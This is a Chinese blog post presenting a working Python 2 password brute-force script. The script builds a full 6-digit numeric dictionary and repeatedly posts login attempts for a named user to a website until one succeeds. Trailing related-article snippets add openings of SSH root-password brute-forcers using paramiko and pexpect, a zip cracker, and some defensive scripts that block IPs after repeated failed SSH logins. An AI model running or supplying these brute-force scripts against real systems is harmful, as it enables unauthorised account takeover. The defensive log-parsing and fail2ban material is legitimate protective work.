python 暴力破解密码脚本

以下,仅为个人测试代码,环境也是测试环境,暴力破解原理都是一样的,

假设要暴力破解登陆网站www.a.com 用户 testUser的密码,

首先,该网站登陆的验证要支持 无限次的密码尝试

假设testUser 的密码为 6位的纯数字

1:先长成 6位纯数字密码字典

import os

pds=[]

rg=range(0,10)

for first in rg:
    for second in rg:
        for three in rg:
            for four in rg:
                for five in rg:
                    for six in rg:
                        num= "%s%s%s%s%s%s"%(first,second,three,four,five,six)
                        pds.append(num)

file_object = open(‘/Users/teso/Desktop/pwdNum6.txt‘, ‘w‘)
file_object.writelines([‘%s%s‘ % (x,os.linesep) for x in pds])
file_object.close( )

上面脚本会在桌面生成 6位数字的所有密码字典 pwdNum6.txt

2: 研究 www.a.com 网站的登陆验证机制,脚本暴力破解密码

import urllib,urllib2,HTMLParser  

#解析网页的爬虫
class OAParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)
        self.pd=[]
    def handle_data(self, data):
        #print "Encountered some data  :", data
        self.pd.append(data)

#暴力破解脚本
def tryLogin(name,pwd):
    parm={"loginName":name,
          "password":pwd}
    url="http://192.**.*.*/***/login/li"
    r=urllib2.urlopen(url, urllib.urlencode(parm))
    parse=OAParser()
    parse.feed(r.read())
    parse.close()
    isFind=False
    if "用户登录" in parse.pd:#这里是对应网站的密码验证逻辑
        print ‘尝试密码‘,pwd,‘登陆失败‘
        isFind = False
    else:
        print user,‘登陆成功‘,‘password = ‘,pwd
        isFind=True
    del(parse)

    return isFind

user=‘testUser‘
#password=[‘1‘,‘12‘,‘123‘,‘1234‘,‘12345‘,‘123456‘,‘12345678‘]
fpath=‘/Users/teso/Desktop/pwdNum6.txt‘
pfile=open(fpath,‘r‘)

for onePwd in pfile.readlines():
    if tryLogin(user, onePwd[:6]):
        break;

流程大致如此,自行研究着玩了

时间: 2024-10-29 00:53:25

python 暴力破解密码脚本的相关文章

SSH防暴力破解shell脚本

写的一个SSH的防暴力破解脚本. 原理是检测SSH连接日志,过滤登录失败的IP,超过登录次数就将其添加进hosts.deny文件中,限制其登录. 脚本如下: #! /bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /root/black.txt DEFINE="10" for i in `cat  /root/bla

ASP.NET基础学习(暴力破解密码)

首先写出一段登陆程序: //ashx端 <%@ WebHandler Language="C#" Class="AddCalation" %> using System; using System.Web; public class AddCalation : IHttpHandler { public void ProcessRequest (HttpContext context) { context.Response.ContentType = &

python暴力破解root密码

环境准备:     1.安装paramiko模块     2.服务器ssh服务开启22号端口             下面请看代码 #!/usr/bin/py #-*- coding: utf-8 -*- import paramiko ssh = paramiko.SSHClient() #实例化类 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #连接时自动回答为yes d = file('/root/a.txt') #字典

python暴力破解加密zip文档

由参加的一个安全大赛来的.flag文件在一个加密的zip文件里面,密钥为6-8位的数字.写了个python脚本进行暴力解压缩. 运行速度还挺快,如下是运行结果:

利用python暴力破解ssh

1 # -*- coding:utf-8 -*- 2 #python 2.7 3 4 import optparse,sys,threading 5 import pexpect 6 7 PROMPT = ['#','>','/$'] 8 def ssh(host,user,password): 9 child = pexpect.spawn('ssh %[email protected]%s' % (user,host)) 10 ret = child.expect(['(?i)are you

防暴力破解sshd脚本

注意: 此脚本并不会定期清理之前添加到/etc/hosts.deny中的ip地址 此脚本运行在centos6的系统之上,如centos7需要的话,需要修改脚本声明(#!/usr/bin/bash); #!/bin/bash # while true do awk '/Failed password/{print $(NF-3)}' /var/log/secure | sort | uniq -c | awk '{if($1>=4) print $2}' > /tmp/reject.txt fo

Centos 7安装Fail2ban防御暴力破解密码(配合FirewallD)

fail2ban可以监视你的系统日志,然后匹配日志的错误信息(正则表达式匹配)执行相应的屏蔽动作(一般情况下是调用防火墙屏蔽).比如有人在试探你的SSH.SMTP.FTP密码,只要达到你预设的次数,fail2ban就会调用防火墙屏蔽这个IP,而且可以发送e-mail通知系统管理员. 安装EPEL源yum -y install epel-release.noarch 安装支持firewalld的fail2banyum -y install fail2ban-firewalld fail2ban-s

防暴力破解小脚本

截取安全日志文件里登陆失败的IP来进行屏蔽,一旦有登陆失败记录的IP将无法再次连接,若要解除,可以将安全日志及其hosts_deny文件里的内容清空即可. #!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /root/black.txt DEFINE="5" for i in `cat /root/black.t

linux 防止ssh暴力破解密码

收集 /var/log/secure 里面的信息,若是某个IP 链接次数超过一定次数 ,则把此ip记录到/etc/hosts.deny里面 #!/bin/bash #Denyhosts SHELL SCRIPT #2013-6-24 cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"=" $1;}' >/root/bin/Denyhosts.txt DEFINE="